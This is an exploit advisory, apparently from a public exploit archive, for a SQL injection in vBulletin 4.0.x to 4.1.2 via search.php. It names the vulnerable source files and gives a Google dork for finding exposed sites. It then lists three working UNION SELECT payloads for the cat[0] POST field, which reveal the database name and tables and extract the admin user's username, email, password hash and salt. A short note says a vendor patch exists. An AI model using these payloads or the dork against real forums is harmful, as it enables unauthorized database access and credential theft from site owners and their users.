vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability

==================================================================== #vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability# ==================================================================== # # # 888 d8 888 _ 888 ,d d8 # # e88~\888 d88 888-~\ 888 e~ ~ 888-~88e ,d888 _d88__ # # d888 888 d888 888 888d8b 888 888b 888 888 # # 8888 888 / 888 888 888Y88b 888 8888 888 888 # # Y888 888 /__888__ 888 888 Y88b 888 888P 888 888 # # "88_/888 888 888 888 Y88b 888-_88" 888 "88_/ # # # ==================================================================== #PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst# ==================================================================== #[+] Discovered By : D4rkB1t #[+] Site : NaN #[+] support e-mail : d4rkb1t@live.com<script type="text/javascript"> /* <![CDATA[ */ (function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})(); /* ]]> */ </script> Product: http://www.vbulletin.com Version: 4.0.x Dork : inurl:"search.php?search_type=1" -------------------------- # ~Vulnerable Codes~ # -------------------------- /vb/search/searchtools.php - line 715; /packages/vbforum/search/type/socialgroup.php - line 201:203; -------------------------- # ~Exploit~ # -------------------------- POST data on "Search Multiple Content Types" => "groups" &cat[0]=1) UNION SELECT database()# &cat[0]=1) UNION SELECT table_name FROM information_schema.tables# &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# More info: http://j0hnx3r.org/?p=818 -------------------------- # ~Advice~ # -------------------------- Vendor already released a patch on vb#4.1.3. UPDATE NOW! ====================================================================